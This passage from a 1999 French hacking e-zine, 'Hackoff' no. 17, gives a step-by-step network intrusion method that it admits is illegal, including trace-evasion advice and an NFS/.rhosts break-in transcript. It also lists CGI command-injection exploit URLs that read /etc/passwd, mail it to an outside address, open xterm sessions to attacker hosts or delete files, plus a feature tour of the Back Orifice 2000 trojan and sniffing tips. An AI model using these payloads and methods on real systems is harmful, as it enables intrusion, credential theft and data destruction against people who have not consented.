
Par contre, si l'on a accès aux configurations de deux machines communiquant l'une avec l'autre à travers X25 en faisant de l'encapsulation, il doit être possible de déperminer les adresses X25 de chacune des deux :

  • en regardant le routage au niveau de chacune des deux machines,
  • en recherchant des correspondances d'adresses (par exemple IP et X25) à corréler avec la connaissace des adresses autres qu'X25 qui correspondent à chacun des deux équipements.





Phase 3 : Axe Internet

On dispose à l'issue de la phase 2 d'adresses IP de réseau ou de machines accessibles.

Il n'existe pas de méthode toute faite pour le hack, chaque hacker detient son experience, c'est souvent à partir ce cette limite qu'il découvre son talent ou pas. A partir de cette étape tous ce vous pouvez faire est considéré comme illicite par la loi.
Il existe des techniques d'approche, je vous ai présenté la ligne directrice vers le hack de base, cette méthode présente un danger, celui de la trace laissée par les différents outils utilisés (la qualité d'un bon hack, va se lire à sa tracabilité):

  • Pour commencer lancer les outils d'analyses :
  • SATAN (semble être remplacé par SAINT) ou Nessus (pour plus d'informations voir le hackoff7).
  • ISS version freeware. Il fait tellement peu de chose que ce n'est même pas la peine de le lancer.
  • ISS en version commerciale => pour ceux qui l'ont acheté...
  • NAT10 qui est un outil pour récupérer des infos sur les machines supportant netbios.

A partir de cette étape, nous detenons un premièr audit du réseau: machines par IP, type d'OS, les ports ouverts, et les eventuels DOS connu par l'outils d'analyses. Le passage d'un tel outil laisse des traces et il existe des logiciel pour répérer des tentatives d'intrusions, il est préférable de se deconnecter et de se faire attribuer une IP différentes, chez un provider gratuit avec une identité inconnue (www.vunet.com)

La suite :

  • utiliser les DOS et toutes les bug connus, identifiés en phase 2 :
  • tftp pour rapatrier /etc/passwd, /etc/hosts, etc.
  • partition NFS montable pour tous,
  • NIS accessible,
  • etc.
  • se connecter à la machine au travers des émulateurs comme telnet, rlogin, etc.
On connaît les noms des utilisateurs (via finger), on connaît l'adresse IP de la machine, il est donc possible de tenter d'y acceder. Telnet est disponible sous UNIX et sous Windows 3. A priori, il doit être possible de le rapatrier sous WinNT et 95. Personnellement j'utilise plutôt le telnet UNIX. Avec telnet, la commande est :
  • telnet @IP_machine
La machine vous demandera alors le nom d'utilisateur puis le mot de passe si nécessaire. Si le compte dispose d'un mot de passe, on rentre alors dans de la tentative de divination. Dans tous les cas, on obtient, grâce à la bannière, le nom de la machine et très fréquemment son OS. avec rlogin, la commande est :
  • rlogin -l user @IP_machine
Il peut être interessant de tester des comptes autres que "root" si par hasard la machine met en oeuvre un dispositif de confiance. Lancer les outils d'analyse :
  • Satan, Nessus, saint
Satan est donc disponible sur la machine Linux spécialisée pour le hacking. Utiliser les bugs détecté en phase 2 :
  1. vérifier s'il n'existe pas un compte "guest", "demo", etc. sans mot de passe (rlogin ou telnet),
  2. vérifier si la machine n'accepte pas tftp,
  3. vérifier s'il n'est pas possible de monter par NFS une partition utilisateur (showmount),
  4. vérifier si le client n'utilise pas NIS (ypxxxx dans rpcinfo) et récupérer alors les tables NIS (la méthode n'est pas encore très claire et n'est pas compilable sous linux qui ne supporte pas NIS => machine UNIX type SUN).
Si l'on est dans le cas 1,
  • on se connecte, on recherche une faille système (.rhost, hosts.equiv, etc.),
  • on rapatrie le fichier /etc/passwd, s'il n'est pas en mode C2, on y trouve les mots de passe chiffrés => on peut le casser avec le logiciel cracker, sinon on y trouve quant même la liste des utilisateurs et le champ commentaire associé (voir divination du mot de passe).
Si l'on est dans le cas 2,
  • on se connecte par tftp sur la cible,
  • on tente de rapatrier le fichier /etc/passwd, s'il est accessible, soit il contient les mots de passes chiffrés (passage du cracker), sinon la liste des comptes (divination),
  • on peut également voir quels sont les autres fichiers qui peuvent être accédés.
Si l'on est dans le cas 3,
 evil# mount victim.com:/export/foo /foo
 evil# cd /foo
 evil# ls -lag
 total 3
   1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
   1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
   1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 evil# echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 evil# ls -lag
  total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 evil # su guest
 evil % echo 194.86.157.110 >> guest/.rhosts
 evil % rlogin victim.com
 	 Welcome to victim.com!
 victim %
Si l'on est dans le cas 4,
  • on recherche le nom de domaine (a faire),
  • on utilise "ypcat -d nom_du_domaine passwd" pour récupérer le fichier yppasswd et on le passe alors avec cracker (cracker de mot de passe).
  • retrouver les DOS fréquents sur l'OS cible et les essayer



Annexes

Annexe 1 : Toneloc : l'outil de recherche de modem

Toneloc

toneloc datafile /M:[mask] /R:[range] /D:[range] /X:[mask] /#:[nombre] /C[config] /S:[StartTime] /E:[EndTime] /H:[heure] /T:[-] /K:[-]

RQ : le séparateur ":" n'est pas obligatoire

Datafile Pas clair : plutot le fichier contenant la liste des plages de numéros à essayer (ou fichier dans lequel est enregistré le résultat ?)

  • /M:[mask] Le masque avec des X pour les numéros devant être dialés par exemple /M:01419139XX
  • /R:[range] Limitation du mask à une plage plus précise devant être essayée par exemple /R:10-19
  • /D:[range] Plage de numéros à ne pas essayer par exemple /D:20-29
  • /X:[mask] Masque des numéros à ne pas essayer (idem /D mais sous forme de mask) par exemple /X:2X (rqs : ne pas mettre 014191392X et on peut mettre plusieurs exclusions)
  • /#:[nombre] Limitation à un nombre d'appel précis par exemple /#:99 pour nous
  • /C[config] fichier de config de toneloc
  • /S:[StartTime] heure de début en format /S:5:30p ou /S:17:30
  • /E:[EndTime] heure de fin en format /E:5:30p ou /E:17:30
  • /H:[heure] Durée de test (on utilise /E ou /H) format /H:3:30
  • /T:[-] force un paramétre du fichier config.cfg : recherche de tonalités (ou pas si /T:-)
  • /K:[-] force un paramétre du fichier config.cfg : recherche de porteuse (ou pas si /K:-)
Essai 1 : toneloc 01419139XX /D:10-99

Utilitaires autour de toneloc :

  • TCONVERT : conversion de fichier de recherche de version précédente



Annexe 2 : Liste des outils de hacking sous UNIX

Outil Fonction OS Site
Connect Récupération auto /etc/passwd sur des sites via tftp UNIX  
NMAP Scanner de port, version graphique en Béta Linux www.insecure.org
Nessus Scanner d'intrusion Linux, java www.nessus.org
Saint scanner d'intrusion Linux http://www.wwdsi.com/saint/
John the Ripper Casse les mots de passe récupérés dans /etc/pssword Linux http://www.false.com/security/john/
ADM snmp Un scanner de démon SNMP et il peut réaliser une attaque en force sur le nom de la communauté Linuxhttp://www.rootshell.org/archive-j457nxiqi3gq59dv/199902/ADMsnmp.0.1.tgz.html
Trinux linux sur 3 disk, orienté sécurité. Idéal pour sécuriser son réseau OS ftp://ftp.trinux.org/pub/trinux/
Cracker Casse les mots de passe, récupérés dans /etc/pssword Linux www.opensec.net
Hunt Outils de hack des switch Linux http://www.cri.cz/kra

Recoupement d'informations : cakeii
Validation et correction(s): tobozo
Derniere mise a jour : 04-aout-99
no© Serial Savate System

¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸







           _        ________________________________________        _
-*4*-       `^°*;:,.>              Bugs CGI!               <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Yopyop ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________

Traductions, tests, par Yopyop
Ajouts et modifications Tobozo
04-aout-99

CGI Security




Le CGI est encore tres populaire sur les serveurs www malgre l'apparition de suites logicielles plus completes sur les serveurs. Pendant que l'ASP et le PHP se font concurrence, le CGI continue a faire son bonhomme de chemin. A l'heure qu'il est, grand nombre de scripts CGI contiennent toujours des vulnerabilites. Certains de ceux qui sont presentes ici ont ete corriges et ne sont plus vulnerables, toutefois il y a encore de nombreux sites qui les utilisent encore. La liste ici presente est loin d'etre exhaustive et des mises a jour sont a prevoir.
Si vous trouvez des complements a cette liste, alors n'hesitez pas a le faire savoir




Table des matieres






Test cgi's

/cgi-bin/test-cgi?\whatever
/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
/cgi-bin/test-cgi?/*
/cgi-bin/test-cgi?* HTTP/1.0
/cgi-bin/test-cgi?x *
/cgi-bin/nph-test-cgi?* HTTP/1.0
/cgi-bin/nph-test-cgi?x *
/cgi-bin/test-cgi?x HTTP/1.0 *



HotMail

Les scripts CGI qui sont utilises par (Hot)mail ont un trou de securite qui permet a des personnes non autorisees de rentrer dans le compte email d'utilisateurs et de lire leurs mails. Le probleme affecte des versions de Hotmail qui ont ete mise en place en Decembre 1998.

L'exploit:

La ligne de commande suivante revele l'URL qui peut etre utilisee pour acceder au compte email de l'utilisateur "billg" (billg@hotmail.com)
http://www.hotmail.com/cgi-bin/password.cgi?login=billg&curmbox=active

Le resultat de cette commande est de donner (si et seulement si il est actuellement loggue) l'URL qui permet d'acceder au compte de billg.

Le resultat devrait ressembler a quelque chose comme cela:
http://207.82.252.251/cgi-bin//start/billg/209.185.130.45_d436



TextCounter versions 1.0-1.2 (Perl) et 1.0-1.3 (C++) par Matt Wright (Juin 1998)

Les recentes versions du programme TextCounter (utilise pour donner le nombre de visiteurs d'une page) ne supprime pas les metacaracteres introduits par l'utilisateur. Ce qui a pour resultat de permettre a des utilisateurs distants d'executer des commandes shell sur le serveur. Ceci affecte a la fois les versions Perl et C++.

Voici les deux lignes responsables du probleme:

if (-e "$data_dir$count_page") {
open(COUNT,"$data_dir$count_page");
....
}

Solutions:
Mettre a jour votre version en 1.21 (Perl) ou 1.31 (C++).
http://www.worldwidemart.com/scripts/textcounter.shtml -->Perl
http://www.worldwidemart.com/scripts/C++/textcounter.shtml -->C++

Ou alors changez:
open(COUNT,"$data_dir$count_page");
en
open(COUNT,"<$data_dir$count_page");



Divers scripts guestbook (Juin 1998)

Le Bug apparait pour les utilisateurs qui:
  • Utilisent la technologie SSI (Server Side Include) sur leur site web.
  • Ont active SSI dans le repertoire contenant le fichier guestbook.html.
  • Ont active l'utilisation de TAGs HTML dans leur fichier de setup.
  • N'ont pas inclus de mots clef du type "exec" dans leur liste de mots interdits a l'interieur de leur fichier de setup.
De tres serieux dommages peuvent arriver si:
  • Votre serveur web fonctionne sous root (Personne ne doit faire cela de toute maniere).
  • Votre serveur ne fonctionne pas sous root, mais vous avez attribue n'importe comment les permissions sur votre site.

Comme vous pouvez le voir il y a beaucoup de "si" et donc tres peu d'utilisateur sont touches.
Si toutefois vous pensez que votre fichier est vunerable alors je vous conseille de crier a haute et inteligible voix "DON'T PANIC"!



Excite Web Search Engine (EWS) version (November 1998)

Le moteur de recherche Excite enregistre des informations critiques (incluant les mots de passe encryptes d'administrateurs) dans des fichiers qui sont accessibles au niveau utilisateur. Ceci permet a des utilisateur sans privileges d'avoir acces a la partie administration de EWS a partir d'UNIX et de NT.
Il faut noter que ce bug met en danger votre site web uniquement si vous avez le moteur de recherche installe localement. Il n'affecte pas les sites qui ont un lien sur ce moteur de recherche ni ceux bien sur qui y sont references.

Un probleme plus grave a ete trouve sur des versions non patchees de EWS anterieures a Fevrier 1998, (malheureusement, cette version est aussi appelee 1.1).

Exploit:
http://www.insecure.org/sploits/excite_for_web_servers_cgi.html

Solution:
http://www.excite.com/navigate/patches.html



Info2www, versions 1.0-1.1

info2www, qui convertit les fichiers GNU "info" en pages web, ne verifie pas les nom de fichiers fournis par l'utilisateur avant de les ouvrir.
Ce qui a pour resultat de permettre l'ouverture de fichier arbitraire et l'execution de commandes contenant des metacarateres shell. Les versions 1.2 et suivantes sont soit disant sans bugs mais du fait du tres grand nombre de versions du script, vous devriez examiner par vous meme le code source avant de l'installer.
Verifiez aussi les scripts CGI info2html et infogate car apparemment ils proviennent de info2www.

Exploit:
/cgi-bin/info2www?(../../../../../../../bin/mail rudicarell@hotmail.com </etc/passwd)
/cgi-bin/info2www '(../../../../../../../bin/mail jami /cgi-bin/campas?%0acat%0a/etc/passwd%0a



Count.cgi, versions 1.0-2.3

Count.cgi est un compteur de visites, et il contient un gug (stack overflow) qui permet a un utilisateur distant d'executer des commandes UNIX sur le serveur.

Exploit:
http://www.insecure.org/sploits/count.cgi.QUERY_STRING.overflow.html

Solution:
La verion 2.4 corrige ce bug. Elle peut etre trouvee sur:
http://www.fccc.edu/users/muquit/Count.html



Webdist.cgi IRIX 6.2, 6.3

Ce script fait partie d'un systeme qui permet aux utilisateurs d'installer et de distribuer des logiciels a travers le reseau. A cause d'une mauvaise verification des parametres CGI, des utilisateurs distants peuvent executer des commandes sur le serveur avec les permissions du daemon.

Exploit:
/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
/cgi-bin/webdist.cgi?/bin/mail%20:/etc/passwd[me@myhost.com]



Php.cgi, multiple versions

Le script CGI php.cgi, ne devrait jamais etre installe dans le repertoire cgi-bin. Ceci permet a quiconque d'executer des commande shell sur la machine serveur.

Exploit:
/cgi-bin/php.cgi?/etc/passwd

Solution:
Telecharger la derniere version:
http://php.iquest.net/

Plus d'infos:
http://members.tripod.com/~yopyop/exploits/php.htm

PHP fournit aussi les fichier d'exemples mlog et mylog qui contient un trou de securite permettant de visualiser n'importe quel fichier sur le serveur:

/cool-logs/mlog.html?screen=/etc/passwd
/cool-logs/mylog.html?screen=/etc/passwd



Files.pl, Novell WebServer Examples Toolkit v.2

Du fait d'une mauvaise verification des donnees entrantes de l'utilisateur, le fichier files.pl, fournit avec l'installation de Novell WebServer permet aux utilisateurs de voir n'importe quel fichier ou repertoire du systeme, ce qui a bien sur pour resultat de compromettre la confidentialite des documents, et potentiellement de donner au crackers les informations necessaires pour pouvoir penetrer le systeme (niark niark niark...)

Exploit:
http://wanna.be.hacked/cgi-bin/files.pl? ../../ect/passwd

Solution:
Supprimez ce script et tout les autres scripts dont vous n'avez pas besoin.


Nph-test-cgi, toutes versions

Ce script inclut dans de nombreuses versions de NCSA httpd et des daemons apache peut etre exploite par un utilisateur distant pour obtenir un listing des fichiers et repertoires presents sur le serveur.

Exploit:
/cgi-bin/nph-test-cgi?x HTTP/1.0 *
/cgi-bin/nph-test-cgi?* HTTP/1.0
/cgi-bin/nph-test-cgi?x *
/cgi-bin/nph-test.cgi /*

Solution:
Suppression du fichier ou de ses permissions en execution.



AnyForm, version 1.0

Un utilisateur distant peut executer des commandes sur le serveur.
http://www.uky.edu/~johnr/AnyForm2


FormMail, version 1.0

Un utilisateur distant peut executer des commandes sur le serveur.
http://alpha.pr1.k12.co.us/~mattw/scripts.html


Phf

Un utilisateur distant peut executer des commandes sur le serveur.

Exploit:
/cgi-bin/phf?Q=x%0apwd
/cgi-bin/phf?Q=x%ffpwd
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
/cgi-bin/phf?%0a blablabla &Qalias=&Qname=&Qemail=&Qnickname=&Qoffice_phone= ... usw
/cgi-bin/phf?Qname=%0acat%20/etc/passwd

Plus d'infos:
http://members.tripod.com/~yopyop/exploits/phf.htm
http://hoohoo.ncsa.uiuc.edu/


Omnihttpd

http://omni.server/cgi-bin/visadmin.exe?user=guest


Pfdispaly.cgi

Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.

Exploit:
/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
/cgi-bin/pfdispaly.cgi?/../../../../etc/motd
/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'


Faxsurvey

Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web. Toutes les versions S.u.S.E. 5.1 et 5.2 Linux Dist avec le package HylaFAX installe sont vulnerables.

Exploit:
/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
/cgi-bin/faxsurvey?/bin/ls%20-a



Whois_raw.cgi cdomain v1.0.

Exploit:
/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0
/cgi-bin/whois_raw.cgi?fqdn=%0acat%20/etc/passwd


Test.bat et perl.exe sur Netscape Serveur

Il est aussi recommande de ne pas mettre PERL.EXE dans le repertoire CGI-BIN car ceci permet d'executer des commandes PERL directement sur le serveur.

Exemple:
/cgi-bin/perl.exe?&-e+unlink+%3C*%3E Efface le contenu du repertoire. Violent...
/cgi-bin/test.bat?&dir Execute test.bat et donne le listing du repertoire.
/scripts/test.bat+%26dir+%26time+%26abracadabra.exe .... netscape server


Htmlscript (www.htmlscript.com)

Possibilite d'acces a n'importe quel fichier sur le serveur.

Exploit:
/cgi-bin/htmlscript?../../../../etc/passwd


lotus domino server

Possibilite d'ecrire et de changer la configuration du serveur!!!!!!

Exploit:
http ... /domcfg.nsf/?open
htto ... /domcfg.nsf/URLRedirect/?OpenForm
http:... /database.nsf/viewname?SearchView&Query="*"

Pour plus d'infos:
http://www.insecure.org/sploits/lotus.domino.database.html


wguest.exe

David Litchfield alias Mnemonic a decouvert un bug dans wguest.exe qui permet a un utilisateur distant de voir n'importe quel fichier texte du systeme. Wguest.exe est un script CGI concu par Webcom Datakommunikation, qui permet aux utilisateurs de signer un guestbook. Le nombre de serveurs affectes est assez important.

Exemple:
input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">

ou
input type="hidden" name="template" value="/gb/template.htm">

Template.htm est la page qui sera affichee grace a wguest.exe apres que l'utilisateur ait entre ses informations.

Exploit:
Sauver la source du doc et changez le path en ce que vous voulez.

Exemple:
input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">
Il clique ensuite sur submit et le contenu du fichier sera affiche.

Ou encore plus rapidement:
/cgi-bin/wguest.exe?template=3Dc:\boot.ini

Il y a aussi le meme probleme avec rguest:
/cgi-bin/rguest.exe?template=3Dc:\winnt\system32\$winnt$.inf




¥õÞÝóþ
24/07/99

¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸







           _        _________________________________________        _
-*5*-       `^°*;:,.>          Back Orifice 2000            <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯By  Stryknine¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________


Bo2k est la nouvelle version du trojan Back Orifice. Le serveur,
installé sur une machine tournant sous MSWin 95/98/NT, permet à un
client de se connecter à la bécane distante avec des accès et droits
complets. Le port de connection est configurable mais un firewall peut
bloquer la connexion. 
Le protocole réseau utilisé peut-être TCP ou UDP et le port compris
entre 1 et 65535. Les ports par défauts sont 54320 pour TCP et 54321
pour UDP. Les transfert d'information peuvent être encrypté. 

Au lancement, le serveur se place dans \WINDOWS\SYSTEM (win9x) ou
\WINDOWS\SYSTEM32 (winNT) et supprime l'exemplaire original. Le nom de
l'executable est paramétrable (le nom par défaut est UMGR32.EXE)
Généralement le serveur se lance au démarrage de la machine grace à une
clé dans la registry. 
Le serveur peut ne pas apparaitre dans le gestionnaire des taches de
win ou même apparaitre sous un autre nom qui dépend de sa config. 

Liste des fonctionnalité (non-exhaustives : de nouvelles sont
disponibles via des plug-ins).

Fonctionnalité : 
Simple:
- Ping, pour vérifier la présence du serveur.
- Query, liste les commandes disponibles sur le serveur

System:
- Reboot Machine
- Lock-up Machine, bloque tous les process de la machine distante,
ainsi que souris, clavier et serveur BO.
- List Passwords
- Get system info

Key logging:
permet d'enregistrer dans un fichier l'ensemble des saisie réalisées
sur la machine distante.
- Log Keystrockes
- End Keystroke log
- View Keystroke log
- Delete Keystroke log


GUI:
- System message box Affiche une boite de dialogue sur la machine
distante

TCP/IP:
- Map port -> Other IP, redirection du trafic vers une autre IP
- Map port -> Console App, ???
- Map prot -> HTTP Fileserver, établie un serveur HTTP sur la machine
distante permettant via un browser de naviguer dans le system distant
ou sin réseau local.
- List Mapped ports, liste les port mappés sur la machine distante et
le service associé
- Remove Mapped ports, supprime un port mappé
- TCP File send, envoi un fichier ver une autre machine exécutant la
command TCP File Receive
- Map port -> TCP File Receive, permet de recevoir un fichier via TCP.

MS Networking:
- Add share, partage un lecteur/répertoire de la machine distante
- Remove share, supprime un partage
- List share, liste l'ensemble des partages
- List shares on LAN, idem pour les lecteurs réseau
- Map shared device, mappe une ressource réseau en lecteur local 
- Unmap shared device, l'inverse de ci-dessus 
- List connections; liste les partages

Process control:
- List process, liste les process de la mahine distante accompagnée de
leur ID
- Kill process, met fin à un process identifié par son ID
- Start process, démarre un process en lançant un EXE sur le serveur

Registry:
Permet la manipulation de la registry de Windows (clés et valeur,
création, modification, suppression, liste)
Create Key
Set Value
Get Value
Delete Key
Delete value
rename Key
Rename value
Enumerate kets
Enumerates values

Multimedia:
Capture Video Still, capture une bitmap depuis un périphérique de
capture (comme une quickcam)
Capture AVI, idem mais crée un AVI

(ndt:une nouvelle section special bo2k est visible sur le site du gang
a la section virus)

Stryknine
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸




           _        ________________________________________        _
-*6*-       `^°*;:,.>        Jargon file - the end? -      <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By tobozo ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________

C'est certainement le dernier numero hackoff qui contient une rubrique de ce nom.
Au cours de nos diverses recherches sur le web pour trouver le dernier patch
pppd, on s'est trouves face-a-face avec le site suivant :
http://www.linux-france.org/prj/jargonf/. Sans commentaires... Tobozo

¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸







Avant de clore ce hackoff 17e du nom, voici un petit extrait d'une conversation
ma foi fort interessante entre deux membres du gang : 


Salut,
Je recherche a comprendre comment utiliser un sniffer, c'est bien beau
la theorie mais la pratique est un peu plus dure...

En fait j'utilise (ou plutot essaye d'utiliser) des sniffers du style
sniffit, ADMsniff, linsniff, et en general j'arrive a voir les paquets
qui passent par ma carte reseau (eth0) mais je ne sais pas dutout
comment faire pour sniffer celles de qqn d'autre (exemple quelqu'un
connecté sur mon reseau local).
Dois-je modifier les valeur de ma table ARP.
Est-il possible que je sniff quand je suis connecté par modem.
Dois-je etre en mode melé ou est-ce uniquement ma cible.

A+
Kailas


Salut
Le principe du sniff est d'utiliser un soft (tcpdump, sniffit...) qui
va passer la carte réseau en promiscous mode  (ou mode mélé) et les
diriger vers un fichier txt par exemple, cela permet de recevoir
l'ensemble des paquets qui passe sur le réseau auquel on est connecté.

  Si tu veux faire un essai en local, tu branche ton PC sur un hub et
d'autres pc dessus (1 ou 2) qui vont communiquer entre eux, et là tu
vas voir apparaitre sur ton PC, l'ensemble des paquets du réseau.

 Si tu utilise un switch sur ton réseau au lieu d'un hub, cela ne
fonctionne pas ou alors il faut hacker le switch (voir hackoff no16).

 La table ARP n'est juste qu'une correspondance entre ton adresse IP et
ton adresse MAC, elle ne rentre pas en fonction dans cela.

 Evidemment il est possible de sniffer depuis un modem, le modem étant
considéré comme une carte réseau (voila pourquoi tu installe la carte
d'accès distant sur win95) Pour sniffer depuis ton modem, tu redirige 
ton sniffer vers ppp0 au lieu de eth0. Il faut ensuite t'introduire 
sur le réseau vers lequel tu veux sniffer.

 Quand tu etablis une liaison chez ton provider, tu crées une liaison
point à point qui est gérée par le routeur, qui va ensuite vérifier
ton login/pass sur un serveur d'authentification radius ou tacacs..
Donc tu ne peux pas sniffer depuis une simple connexion chez ton
provider, parce que chaque paquet est routé vers un modem précis
(c'est le travail du routeur de lier une adresse IP à une liaison
asynchrone)

 Il faudrait pour cela, hacker le routeur pour lui dire de t'envoyer
l'ensemble des paquets, il y une commande debug all par exemple sur 
cisco, qui sniff l'ensemble des connexions et ensuite de rediriger 
cette commande vers ton IP.

 Le sniff distant se fait en general sur un modem d'une entreprise. Tu
connais un numéro de telephone d'un pc comportant un modem (sinon il
existe toneloc), tu accèdes à ce PC, place sa carte réseau en promiscous
mode et redirige le resultat vers toi.

 Donc c'est la cible que l'on passe en mode mélé, pour sniffer 
l'ensemble des paquets passant par sa carte.

Sniffdoz

¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸




Voili c'est fini pour cette edition du hackoff17, rien de prevu pour le moment en ce qui concerne le No18 mais on vous promet du chaud pour la rentree... Que la bande passante soit avec vous et sauvez les arbres, mangez du castor. Tob ________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -{\________________________/}- ~~ ~~ ~~ ~~°ºØø¦ ¿ H A C K 0 F F ? ¦øغ°~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~-{/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\}-~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/legang ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/yopyop ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://members.tripod.com/hackoolic ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang... _________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _____________________________________ ((((((( H@CK-OFF !! )))))))) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~ ¤º°`°º ¤º°`°º ¤º°`°º ~ ~ ~ ~ | SE | - | RI | - | AL | ~ ~ ~ ~ | SA | - | VA | - | TE | ~ ~ ~ ~ | SY | - | ST | - | EM | ~ ~ ~ ~ ø,¸¸,ø ø,¸¸,ø ø,¸¸,ø ~ ~ Cakeii - Tobozo - Yopyop - Silk - Nk Sniffdoz - Aolshame - Misto - Blured ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ { \|/ >http://come.to/legang 8 -- * -- >silk@silk.cut { /|\ cakeii@usa.net nk01@n0past.com tobozo@biosys.net misto@bigfoot.com sniffdoz@yahoo.com yopyop@webmails.com blured75@hotmail.com aolshame@softhome.net emminence@earthling.net ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, / O o O o O o \ \ O O O / º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [EOF]